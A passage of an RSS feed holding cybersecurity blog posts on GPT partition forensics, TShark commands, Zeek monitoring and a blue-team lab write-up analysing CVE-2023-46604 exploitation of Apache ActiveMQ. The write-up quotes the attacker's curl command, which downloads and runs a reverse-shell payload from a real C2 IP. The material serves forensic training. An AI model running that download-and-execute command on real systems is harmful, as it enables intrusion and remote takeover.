<strong>one</strong> entry; type byte = <strong>EE</strong> → “This disk is GPT — don’t touch!”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*aC3tcw92JtXhxOGmEF-4OA.png" /></figure><ul><li><strong>Signature</strong>: 55 AA ends the sector (same as a real MBR).</li></ul><h3>Primary GPT Header (Sector 1 — First 92 Bytes)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*6NrKxBCGP38LRFlIbtklrw.png" /></figure><pre>Bytes | Length  | Hex Bytes                     | Field                      | Description<br>------|---------|-------------------------------|----------------------------|---------------------------<br>0–7   | 8       | 45 46 49 20 50 41 52 54       | Signature                  | “EFI PART”<br>8–11  | 4       | 00 00 01 00                   | Revision                   | Version 1.0<br>12–15 | 4       | 5C 00 00 00                   | Header Size                | 92 bytes<br>16–19 | 4       | 71 89 13 1C                   | CRC32 Header               | Checksum for header<br>20–23 | 4       | 00 00 00 00                   | Reserved                   | Future use<br>24–31 | 8       | 01 00 00 00 00 00 00 00       | Current LBA                | Header location (sector 1)<br>32–39 | 8       | AF 32 CF 1D 00 00 00 00       | Backup LBA                 | Backup header location<br>40–47 | 8       | 22 00 00 00 00 00 00 00       | First Usable LBA           | Partition start zone<br>48–55 | 8       | 8E 32 CF 1D 00 00 00 00       | Last Usable LBA            | Partition end zone<br>56–71 | 16      | 1D F1 B0 … B1 73 89           | Disk GUID                  | Unique ID for the disk<br>72–79 | 8       | 02 00 00 00 00 00 00 00       | Partition Array LBA        | Array starts at sector 2<br>80–83 | 4       | 80 00 00 00                   | # of Partition Entries     | 128 entries<br>84–87 | 4       | 80 00 00 00                   | Size of Each Entry         | 128 bytes<br>88–91 | 4       | 41 0D C0 22                   | CRC32 of Partition Array   | Checksum of table</pre><h3>GPT Partition Entry (128 Bytes Each)</h3><pre>Offset   | Length | Field                  | Description<br>-------- |-------|-------------------------|----------------------------------<br>0–15     | 16 B  | Partition Type GUID     | e.g., EFI System Partition GUID<br>16–31    | 16 B  | Unique Partition GUID   | Unique ID per partition<br>32–39    | 8 B   | Starting LBA            | Start sector<br>40–47    | 8 B   | Ending LBA              | End sector<br>48–55    | 8 B   | Attributes              | Bootable, hidden, read-only flags<br>56–127   | 72 B  | Partition Name (UTF-16) | Human-readable label</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*GNUBl4naFJI06lBw765M4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*OZyk1Itm5jAUGBSMiGHywA.png" /></figure><h3>Partition Type GUID Conversion (Mixed-Endian)</h3><p>Example hex:</p><pre>28 73 2A C1 1F F8 D2 11 BA 4B 00 A0 C9 3E C9 3B</pre><p>Convert to standard GUID:</p><pre>First 4 bytes: 28 73 2A C1 → C1 2A 73 28  <br>Next 2 bytes: 1F F8 → F8 1F  <br>Next 2 bytes: D2 11 → 11 D2  <br>Next 2 bytes: BA 4B (unchanged)  <br>Last 6 bytes: 00 A0 C9 3E C9 3B (unchanged)</pre><p>Result: <strong>C12A7328-F81F-11D2-BA4B-00A0C93EC93B</strong> → EFI System Partition (ESP).</p><h3>EFI System Partition (ESP)</h3><ul><li>Stores .efi bootloader files instead of embedding boot code directly.</li><li>Boot flow: UEFI → GPT → EFI System Partition → OS kernel → Bootcomplete.</li></ul><h3>GPT Redundancy: Backup Structures</h3><pre>Component                | Location          | Purpose<br>------------------------ | ----------------- | ---------------------------<br>Backup GPT Header        | Last sector       | Replacement header<br>Backup Partition Array   | Before backup hdr | Backup partition entries</pre><p>Primary and backup are identical. Checksums ensure integrity and offer recovery if the primary copy is corrupted.</p><h3>GPT Boot Flow (Summary)</h3><pre>1. UEFI reads sector 1 (Primary GPT Header)<br>2. Validates header’s CRC32 checksum<br>3. Loads Partition Entry Array<br>4. Finds EFI System Partition (ESP)<br>5. Reads .efi bootloader files<br>6. Bootloader loads OS kernel<br>7. Drivers/services initialize → Login</pre><h3>Forensic Relevance: How Partition Analysis Supports Investigations</h3><p>Understanding the low-level structures of <strong>MBR</strong> and <strong>GPT</strong> isn’t just for system architects — it’s a <strong>powerful skill in digital forensics</strong>. When something goes wrong — be it <strong>malware infection, boot failure, disk tampering, or data theft</strong> — examining partition data can be the <strong>first step in recovery, detection, and attribution</strong>.</p><h3>1. Detecting Malware in Boot Structures (e.g., Bootkits)</h3><p>Malware like <strong>bootkits</strong> and <strong>rootkits</strong> often infect:</p><ul><li>The <strong>MBR bootloader</strong> (bytes 0–445) or</li><li>The <strong>EFI System Partition (ESP)</strong> on GPT disks (contains .efi boot files</li></ul><p>By extracting and inspecting the MBR or the .efi binaries in the ESP, investigators can:</p><ul><li>Compare against known clean bootloaders</li><li>Check for unauthorised .efi files</li><li>Detect manipulation that avoids antivirus detection</li></ul><h3>2. Confirming Disk Tampering or Data Destruction</h3><p>Attackers may try to:</p><ul><li>Modify the <strong>partition entry array</strong></li><li>Corrupt or <strong>overwrite the GPT header</strong></li><li>Zero out backup GPT structures</li></ul><p>Because <strong>GPT uses CRC32 checksums</strong> for the header and partition array:</p><ul><li>You can quickly detect <strong>unauthorised changes</strong></li><li>Tools like gdisk or UEFI Tool can compare <strong>primary vs. backup headers</strong></li></ul><p>This redundancy can <strong>recover partitions</strong> even after a deliberate wipe attempt.</p><h3>3. Locating Lost or Hidden Partitions</h3><p>An attacker might:</p><ul><li>Hide a malicious partition by deleting its entry</li><li>Use <strong>unused LBA ranges</strong> to store exfiltration tools</li><li>Alter flags like “hidden” or “read-only” to obscure their presence</li></ul><p>Forensic tools (like HxD, Autopsy, FTK Imager) allow:</p><ul><li>Manual inspection of partition entry arrays</li><li>Verification of <strong>starting and ending LBA</strong> values</li><li>Discovery of <strong>non-indexed data</strong> (e.g., unlisted partitions)</li></ul><p>🔧 Even deleted GPT entries can often be recovered by comparing the <strong>first and backup partition tables</strong>.</p><h3>4. Validating Disk Integrity &amp; Boot Flow</h3><p>By analysing:</p><ul><li>Partition Type GUIDs (e.g., C12A7328-F81F-11D2-BA4B-00A0C93EC93B = ESP)</li><li>Attributes (e.g., bootable flags)</li><li>Partition Names (UTF-16 encoded)</li></ul><p>…investigators can confirm if:</p><ul><li>The correct partitions are present</li><li>Boot flags were altered</li><li>Suspicious or non-standard partitions exist</li></ul><p>Example:</p><blockquote><em>An ESP with no </em><em>.efi files or extra suspicious </em><em>.efi binaries (e.g., backdoor.efi) can indicate compromise.</em></blockquote><h3>Forensic Tools &amp; Tips</h3><pre>Tool             | Use Case<br>---------------- | --------------------------------------------<br>HxD Hex Editor   | View raw disk sectors, jump to LBA offsets<br>gdisk / parted   | Inspect GPT headers and arrays<br>Autopsy / FTK    | GUI-based partition and file system recovery<br>UEFI Tool        | Analyze .efi binaries inside the ESP<br>DiskGenius       | Recover deleted partitions or fix GPT issues</pre><blockquote><strong><em>Tip</em></strong><em>: Always preserve disk images before investigation using tools like </em><em>dd, </em><em>FTK Imager, or </em><em>Guymager. This ensures integrity for legal use.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b45728263b77" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TShark & Friends — Quick-Run CLI Reference]]></title>
            <link>https://medium.com/@ashutoshthakurofficial/tshark-friends-quick-run-cli-reference-6587b029aca6?source=rss-5c19d93cfa65------2</link>
            <guid isPermaLink="false">https://medium.com/p/6587b029aca6</guid>
            <category><![CDATA[tshark]]></category>
            <category><![CDATA[linux-tool]]></category>
            <category><![CDATA[pcap]]></category>
            <category><![CDATA[network-sniffing]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Thakur Ashutosh]]></dc:creator>
            <pubDate>Fri, 27 Jun 2025 19:13:37 GMT</pubDate>
            <atom:updated>2025-06-27T19:18:46.512Z</atom:updated>
            <content:encoded><![CDATA[<h3>TShark &amp; Friends — Quick-Run CLI Reference</h3><h3>1. Companion UNIX Tools</h3><blockquote><em>Chain these after </em><em>tshark output for quick data-carving.</em></blockquote><pre>capinfos        Fast PCAP summary (packets, size, duration)<br>                → capinfos demo.pcapng<br><br>grep / egrep    Plain-text search<br>                → grep -i &quot;nmap&quot; outfile.txt<br><br>cut             Slice columns<br>                → cut -d&#39; &#39; -f1-3<br><br>awk             Remove blanks / custom fields<br>                → awk NF<br><br>sort + uniq -c  Frequency counts<br>                → sort | uniq -c<br><br>nl              Number lines (quick counts)<br>                → nl<br><br>sed             Inline replace / delete<br>                → sed &#39;s/foo/bar/&#39;</pre><h3>2. TShark Basics</h3><pre>-h              Help page<br>                → tshark -h<br><br>-v              Version info<br>                → tshark -v<br><br>-D              List interfaces<br>                → sudo tshark -D<br><br>-i &lt;iface&gt;      Live capture on interface<br>                → tshark -i 2<br><br>(no flag)       Capture on default interface<br>                → tshark<br><br>-r &lt;file&gt;       Read existing PCAP<br>                → tshark -r demo.pcapng<br><br>-c &lt;N&gt;          Stop after N pkts<br>                → tshark -c 500<br><br>-V              Verbose decode<br>                → tshark -r demo.pcap -Y &#39;frame.number==1&#39; -V</pre><h3>3. Capture Filters (-f, BPF syntax – before capture)</h3><blockquote><em>Only matching traffic is written to disk.</em></blockquote><pre>tshark -i eth0 -f &quot;tcp port 80&quot;<br>tshark -i eth0 -f &quot;host 10.10.10.10&quot;<br>tshark -i eth0 -f &quot;net 10.10.10.0/24&quot;<br>tshark -i eth0 -f &quot;tcp and port 443&quot;</pre><h3>4. Display Filters (-Y, Wireshark syntax – after capture)</h3><blockquote><em>Doesn’t change the file — just what you see.</em></blockquote><pre>tshark -r demo.pcapng -Y &#39;http.request&#39;<br>tshark -r demo.pcapng -Y &#39;ip.addr == 10.10.10.10 and tcp.port == 80&#39;<br>tshark -r demo.pcapng -Y &#39;frame.number == 9&#39; -V</pre><h3>5. Auto-Stop &amp; Ring Buffer (live capture only)</h3><pre>Autostop:<br>  -a duration:60       → Stop after 60 seconds<br>  -a filesize:100      → Stop after 100 KB<br>  -a files:3           → Stop after 3 files</pre><pre>Ring Buffer:<br>  -b filesize:100 -b files:3<br>                      → Keep 3 rotating 100 KB files</pre><pre>Combined:<br>  -a duration:300 -b filesize:50 -b files:10</pre><p>Example:</p><pre>tshark -i eth0 -w ringbuf.pcap -a duration:300 -b filesize:50 -b files:10</pre><h3>6. Follow / Export / Credentials</h3><pre>Follow stream:<br>  -z follow,&lt;proto&gt;,ascii,&lt;id&gt; -q<br>    → tshark -r demo.pcapng -z follow,tcp,ascii,0 -q<br><br>Export HTTP objects:<br>  --export-objects http,&lt;folder&gt; -q<br>    → tshark -r demo.pcapng --export-objects http,/tmp/out -q<br><br>Cleartext credentials:<br>  -z credentials -q<br>    → tshark -r cred.pcap -z credentials -q</pre><h3>7. -z Statistics Super-menu</h3><pre>io,stat        Timeline counts<br>               → tshark -r cap.pcap -z io,stat,1,&quot;COUNT(frame)frame&quot;<br><br>io,phs         Protocol hierarchy<br>               → tshark -r cap.pcap -z io,phs -q<br><br>plen,tree      Packet-size distribution<br>               → tshark -r cap.pcap -z plen,tree -q<br><br>endpoints,ip   Per-IP TX/RX stats<br>               → tshark -r cap.pcap -z endpoints,ip -q<br><br>conv,ip        IP↔IP conversation matrix<br>               → tshark -r cap.pcap -z conv,ip -q<br><br>expert         Errors, retransmits<br>               → tshark -r cap.pcap -z expert -q<br><br>tcp,stream     TCP stream metrics<br>               → tshark -r cap.pcap -z tcp,stream -q<br><br>http,stat      HTTP summary<br>               → tshark -r cap.pcap -z http,stat -q</pre><p>👉 Explore more:</p><pre>tshark -z help</pre><h3>8. Advanced Text Filters</h3><pre>contains        → Case-sensitive substring match<br>                 → &#39;http.server contains &quot;Apache&quot;&#39;<br><br>matches         → Case-insensitive regex<br>                 → &#39;http.request.method matches &quot;(GET|POST)&quot;&#39;</pre><h3>9. Field Extraction (-T fields)</h3><pre>tshark -r demo.pcapng -T fields -e ip.src -e ip.dst -E header=y -c 5</pre><p><strong>Common combos:</strong></p><pre>-e dhcp.option.hostname   # Hostnames<br>-e dns.qry.name           # DNS queries<br>-e http.user_agent        # User agents<br>-e frame.time             # Frame timestamp</pre><p><strong>Tidy and count:</strong></p><pre>... | awk NF | sort -r | uniq -c | sort -r</pre><h3>10. Handy One-Liners</h3><p><strong>Read only packet #9:</strong></p><pre>tshark -r demo.pcapng -Y &quot;frame.number == 9&quot;</pre><p><strong>Count HTTP packets:</strong></p><pre>tshark -r demo.pcapng -Y &#39;http&#39; | nl | tail -n 1</pre><p><strong>Find Nmap scans &amp; hostnames:</strong></p><pre>tshark -r ua.pcap -Y &#39;http.user_agent contains &quot;Nmap&quot;&#39; -T fields -e http.host</pre><h3>Mini CLI Workflow</h3><pre>What’s noisy?         → -z io,stat  <br>Which protocols?      → -z io,phs  <br>Top talkers?          → -z endpoints,ip  <br>Conversation pairs?   → -z conv,ip  <br>Errors?               → -z expert  <br>Drill deeper with:    → display filters / follow stream</pre><h3>TL;DR</h3><pre>Capture filter (-f)     → Limits what gets saved  <br>Display filter (-Y)     → Controls what you see  <br>-z                      → Swiss-army stats mode  <br>awk | sort | uniq       → Lightning-fast insights</pre><p>TShark in Action — Example Output</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/0*890EBAFn6zrHe2dp" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/0*2XvnaUOoBjqCLgS4" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/0*6sXpAh4gap_e0ebT" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/0*m2sutub9tPn-q73K" /></figure><p><strong>Happy Packet Hunting!</strong> 🐍</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6587b029aca6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Deep Dive into Zeek: A Powerful Network Security Monitoring Tool]]></title>
            <link>https://medium.com/@ashutoshthakurofficial/deep-dive-into-zeek-a-powerful-network-security-monitoring-tool-f52ff3485035?source=rss-5c19d93cfa65------2</link>
            <guid isPermaLink="false">https://medium.com/p/f52ff3485035</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[network-security-tools]]></category>
            <category><![CDATA[pcap-analysis]]></category>
            <dc:creator><![CDATA[Thakur Ashutosh]]></dc:creator>
            <pubDate>Sun, 25 May 2025 09:56:53 GMT</pubDate>
            <atom:updated>2025-05-25T09:58:01.582Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction: What is Zeek?</h3><p>In the ever-evolving world of cybersecurity, <strong>network visibility</strong> is paramount. Zeek, formerly known as Bro, is a robust and scriptable network traffic analyser. Unlike traditional intrusion detection systems (IDS) like Snort or Suricata, Zeek provides <strong>context-rich logs</strong> and is better suited for <strong>forensics, threat hunting, and network security monitoring (NSM)</strong>.</p><blockquote><em>Zeek isn’t just a tool — it’s a framework that can be extended and customized to match your network defense needs.</em></blockquote><h3>Zeek vs Traditional IDS</h3><p>Feature Zeek Snort Type NSM + Traffic Analyser IDS/IPS Detection Event-based + Scripting Signature-based Use Case Threat Hunting, Deep Analysis Signature Match, Blocking Visibility High (Application Layer Insight) Medium (Packet-Level Detection) Customisation Advanced Scripting Support Rule-Based</p><h3>How Zeek Works: Architecture Overview</h3><p>Zeek operates in two primary layers:</p><h3>1. Event Engine</h3><p>It analyses network packets and raises “events”, such as a DNS query, an HTTP GET request, or SSL certificate detection.</p><h3>2. Script Interpreter</h3><p>Custom scripts define what actions to take when events are triggered. For example, you can log specific events or trigger alerts.</p><p>This architecture separates <strong>traffic observation</strong> from <strong>policy enforcement</strong>, making Zeek powerful and flexible.</p><h3>Key Frameworks in Zeek</h3><p>Zeek uses modular <strong>frameworks</strong> to extend its capabilities. Some key ones include:</p><ul><li><strong>File Analysis:</strong> Extract and hash files from network traffic.</li><li><strong>Signature Framework:</strong> Detect known patterns in packet payloads.</li><li><strong>Intel Framework:</strong> Integrate threat intelligence feeds.</li><li><strong>Logging Framework:</strong> Generate logs such as conn.log, dns.log, http.log, etc.</li><li><strong>Notice Framework:</strong> Generate alerts (sent to notice.log) for suspicious activity.</li></ul><blockquote><em>Example: To extract hashes from files:</em></blockquote><pre>@load policy/frameworks/files/hash-all-files.zeek</pre><h3>Hands-On: Using Zeek</h3><h3>Check Installed Version</h3><pre>zeek -v</pre><pre>zeek --help</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ab0ZshTC9tbDpFAdpA0JLg.png" /></figure><h3>Analyse a PCAP File</h3><pre>zeek -C -r sample.pcap</pre><ul><li>-C — Ignore checksum errors</li><li>-r — Read from PCAP file</li></ul><p>Logs will be saved in your working directory.</p><h3>Log Files Overview</h3><p>Zeek generates more than 50 log types. Here are the most commonly used:</p><p>Log File Description conn.log Connection metadata (IPs, ports) dns.log DNS queries and responses http.log HTTP requests/responses files.log File transfers notice.log Alerts generated by Zeek intel.log Threat intel matches signatures.log Signature rule matches</p><p>Logs are TSV (tab-separated values) and easy to process with CLI tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bnQ4f07T9t8Xcq4V5f-nKQ.png" /><figcaption>A Snapshot of Zeek’s conn.log</figcaption></figure><h3>Log Analysis with CLI Tools</h3><p>Zeek logs are text-based and can be analysed with tools like cut, grep, awk, and zeek-cut.</p><h3>Example 1: Extract All DNS Queries</h3><pre>cat dns.log | zeek-cut query</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fE7TIx64Dt3nRUGitrI-mA.png" /></figure><h3>Example 2: Find Source Host Making Excessive DNS Requests</h3><pre>zeek-cut id.orig_h id.resp_p &lt; conn.log | awk &#39;$2 == 53 {print $1}&#39; | sort | uniq -c | sort -nr</pre><h3>Example 3: Detect HTTP User Agents</h3><pre>cat http.log | zeek-cut user_agent | sort | uniq -c | sort -nr</pre><h3>Writing Zeek Signatures</h3><p>Zeek supports signature-based detection (like Snort), which can trigger actions or alerts.</p><h3>Example Signature: Detect Cleartext Passwords</h3><pre>signature http-password {<br>    ip-proto == tcp<br>    payload /password/i<br>    event &quot;Cleartext Password Found!&quot;<br>}</pre><p>Run it with:</p><pre>zeek -C -r http.pcap -s http-password.sig</pre><p>Zeek script example in working :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*cwzEXTaBsnwo_tc_OQVHAg.png" /></figure><h3>Scripting in Zeek</h3><p>Zeek uses its own scripting language, which is <strong>event-driven</strong>. Scripts are powerful for correlation and automation.</p><h3>Example Script: Print All New Connections</h3><pre>event new_connection(c: connection) {<br>    print fmt(&quot;New Connection: %s → %s&quot;, c$id$orig_h, c$id$resp_h);<br>}</pre><p>Run with:</p><pre>zeek -C -r sample.pcap myscript.zeek</pre><h3>Zeek Package Manager (zkg)</h3><p>Install third-party scripts and plugins easily:</p><h3>Install a Package</h3><pre>zkg install zeek/cybera/zeek-sniffpass</pre><h3>Use Installed Package</h3><pre>zeek -C -r http.pcap zeek-sniffpass</pre><p>Packages like geoip-conn and zeek-sniffpass can enhance your detection capabilities instantly.</p><h3>Pro Tips for Zeek Analysis</h3><p>Use zeek-cut to extract relevant fields.</p><p>Use UID to correlate logs across conn.log, http.log, files.log, etc.</p><p>Start broad (conn.log, notice.log) and drill into specific services (http.log, dns.log).</p><h3>Real-World Use Case: DNS Beaconing Detection</h3><pre>zeek-cut id.orig_h id.resp_p &lt; conn.log | awk &#39;$2 == 53 {print $1}&#39; | sort | uniq -c | sort -nr</pre><blockquote><em>This identifies which host is sending an unusually high number of DNS queries — often a sign of malware or misconfiguration.</em></blockquote><h3>Final Thoughts</h3><p>Zeek is not your average IDS — it’s a <strong>network insight engine</strong>. Whether you’re a SOC analyst, red teamer, or blue team defender, Zeek empowers you with rich, actionable data from your network.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f52ff3485035" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OpenWire Lab: Exploring CVE-2023–46604 Through Network Forensics]]></title>
            <link>https://medium.com/@ashutoshthakurofficial/openwire-lab-exploring-cve-2023-46604-through-network-forensics-81d1657d2dc2?source=rss-5c19d93cfa65------2</link>
            <guid isPermaLink="false">https://medium.com/p/81d1657d2dc2</guid>
            <category><![CDATA[network-forensics]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[apache-active-mq]]></category>
            <category><![CDATA[wireshark]]></category>
            <dc:creator><![CDATA[Thakur Ashutosh]]></dc:creator>
            <pubDate>Sat, 18 Jan 2025 13:40:01 GMT</pubDate>
            <atom:updated>2025-01-18T13:43:40.186Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Scenario</strong></p><p>During your shift as a tier-2 SOC analyst, you receive an escalation from a tier-1 analyst regarding a public-facing server. This server has been flagged for making outbound connections to multiple suspicious IPs. In response, you initiate the standard incident response protocol, which includes isolating the server from the network to prevent potential lateral movement or data exfiltration and obtaining a packet capture from the NSM utility for analysis. Your task is to analyze the pcap and assess for signs of malicious activity.</p><p>The lab details can be found at <a href="https://cyberdefenders.org/blueteam-ctf-challenges/openwire/">Cyber Defenders OpenWire</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*dNvD3yXXOCtd1S3m0JEIBw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*eAkLyImkFDE2XBJQ1WpIiQ.png" /></figure><p><strong>Steps Taken</strong></p><p><strong>1. Identifying the C2 Server</strong></p><p>The first step is to determine the Command-and-Control (C2) server that the attacker used to communicate with the compromised system. By analysing the packet capture (PCAP), we find that IP 146.190.21.92 was sending malicious OpenWire Exception Response commands. These commands triggered the server to download and execute malicious files. This IP is flagged as the attacker’s C2 server.</p><p><strong>Answer:</strong> 146.190.21.92</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ERPLvCjiehwgz6uyU9aREQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*yKUNm3sVNXtu4wU82JyyBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*K1dFL3A7Q8x0uHsgxymtSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*L8O6bOjVoCNXgi8_jZkjBg.png" /></figure><p><strong>2. Finding the Exploited Port</strong></p><p>The attacker targeted the server through port 61616, which is the default port for Apache ActiveMQ. This port allowed the attacker to send malicious OpenWire commands to exploit the system.</p><p><strong>Answer:</strong> 61616</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*7rZhGf0md4mkw-_RTNYdrQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*_qAaOTl-LITUjXoRbbdrCg.png" /></figure><p><strong>3. Identifying the Vulnerable Service</strong></p><p>From the captured data, the service involved was identified as Apache ActiveMQ. This is a widely used message-oriented middleware, which in this case, had a misconfiguration or unpatched vulnerability.</p><p><strong>Answer:</strong> Apache ActiveMQ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*igYcmGMTxpI6CVBlgB93_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*rjOV155ZbvzIhhtLcyYVTQ.png" /></figure><p><strong>4. Detecting Additional C2 Servers</strong></p><p>Attackers often use multiple servers to execute their operations. By further analyzing the PCAP, we find that IP 128.199.52.72 was also involved. This server provided a file named docker, which was identified as the reverse shell payload.</p><p><strong>Answer:</strong> 128.199.52.72</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*rdWPW2vjMOG1zvxHrsi3Hg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*-NKqH7vtK8koZ6y121w1ng.png" /></figure><p><strong>5. Reverse Shell on the Server</strong></p><p>The reverse shell executable dropped on the server was named docker. This file was downloaded from the second C2 server and used by the attacker to gain control of the compromised system.</p><p><strong>Answer:</strong> docker</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*_GS4HR7qVRZS5OAnv3a_Kg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*YV5J4yMZRhmDcEF2-AanXA.png" /></figure><p><strong>6. Understanding the Exploit</strong></p><p>The attacker used a malicious XML file hosted on the C2 server to run the exploit. The XML file invoked the Java class java.lang.ProcessBuilder, which executed the following command:</p><p>curl -s -o /tmp/docker <a href="http://128.199.52.72/docker;">http://128.199.52.72/docker;</a> chmod +x /tmp/docker; ./tmp/docker</p><p>This command downloaded, set permissions for, and executed the reverse shell file on the server.</p><p><strong>Answer:</strong> java.lang.ProcessBuilder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*5wkg2Om58BiNComPObj24A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*P_fYyuswTbKo-TeOoayqFg.png" /></figure><p><strong>7. CVE Identifier</strong></p><p>The vulnerability exploited is registered as CVE-2023–46604. This vulnerability allows remote code execution through the manipulation of serialized class types in the OpenWire protocol.</p><p><strong>Answer:</strong> CVE-2023–46604</p><p>Additional information about CVE-2023–46604 exploited by Kinsing malware is available on <a href="https://www.trendmicro.com/en_in/research/23/k/cve-2023-46604-exploited-by-kinsing.html">Trend Micro’s website</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*42HhRuQhU4PX4IsMzPw9Tg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*uUbtNd5QePDhFtagYhBjYA.png" /></figure><p><strong>8. Validation Patch</strong></p><p>The vendor patched the vulnerability by adding a validation step in the BaseDataStreamMarshaller class. This validation ensures that only valid and safe classes are instantiated, preventing unauthorized execution of malicious commands.</p><p><strong>Answer:</strong> BaseDataStreamMarshaller.createThrowable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*tAaqnFDlllBg9W-G2c3afA.png" /></figure><p>Important points to know from this.</p><p>· <strong>OpenWire Protocol</strong>:</p><ul><li>OpenWire is the messaging protocol used by Apache ActiveMQ to communicate between clients and servers. It’s responsible for the serialization and deserialization of messages exchanged between systems. In this vulnerability, the lack of proper validation of the deserialized data allowed attackers to manipulate the protocol to inject malicious payloads, enabling Remote Code Execution (RCE).</li></ul><p>· <strong>Apache ActiveMQ</strong>:</p><ul><li>Apache ActiveMQ is a widely-used message broker that facilitates communication between distributed systems through message queues and topics. The vulnerability in ActiveMQ’s implementation of OpenWire was critical, as it allowed attackers to exploit deserialization flaws, turning it into an entry point for the attack. ActiveMQ listens on port 61616 by default, which was exploited by the attackers to send malicious commands.</li></ul><p>· <strong>XML File</strong>:</p><ul><li>The XML file, specifically /invoice.xml in this case, was crafted by the attacker to instruct the vulnerable server to load and execute a malicious Java class. This XML file contained serialized data, which, when deserialized by the server, triggered the execution of arbitrary code. This method of embedding malicious instructions within XML files is common in exploiting deserialization vulnerabilities.</li></ul><p>· <strong>java.lang.ProcessBuilder</strong>:</p><ul><li>The java.lang.ProcessBuilder class is part of the Java standard library and is used to execute system commands from within Java programs. In this case, the attacker used it to execute a shell command (curl -s -o /tmp/docker <a href="http://128.199.52.72/docker;">http://128.199.52.72/docker;</a> chmod +x /tmp/docker; ./tmp/docker), which downloaded and ran a reverse shell on the server. This allowed the attacker to gain full control over the vulnerable system.</li></ul><p>· <strong>Remote Code Execution (RCE)</strong>:</p><ul><li>Remote Code Execution is one of the most dangerous vulnerabilities, as it allows attackers to run arbitrary commands on a remote server. In this case, by exploiting the deserialization flaw in Apache ActiveMQ, the attacker was able to execute malicious Java code and gain control of the server. The RCE facilitated the attacker’s access to sensitive resources and the ability to issue further malicious commands.</li></ul><p>· <strong>CVE-2023–46604</strong>:</p><ul><li>CVE-2023–46604 is the official identifier for the vulnerability in Apache ActiveMQ that allowed attackers to exploit the OpenWire protocol’s deserialization flaw. This CVE provides the details on the vulnerability, including the affected versions and the method by which the flaw could be exploited to achieve RCE. It serves as a reference point for understanding and addressing this specific issue.</li></ul><p>· <strong>Patch</strong>:</p><ul><li>The patch released by the vendor added a validation step to the BaseDataStreamMarshaller.createThrowable method in the Apache ActiveMQ source code. This validation ensures that only trusted and safe classes can be instantiated during deserialization, effectively preventing attackers from loading arbitrary classes. The patch mitigates the vulnerability and prevents future exploitation by ensuring the deserialization process is properly checked before executing any commands.</li></ul><p>#CyberSecurity #NetworkForensics #IncidentResponse #SOCAnalysis #ThreatHunting #InfoSec #CVE2023 #ApacheActiveMQ #RCEExploit #VulnerabilityAnalysis #CyberAwareness #EthicalHacking #DigitalForensics #CyberThreats #CyberSecTraining #Technology</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=81d1657d2dc2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>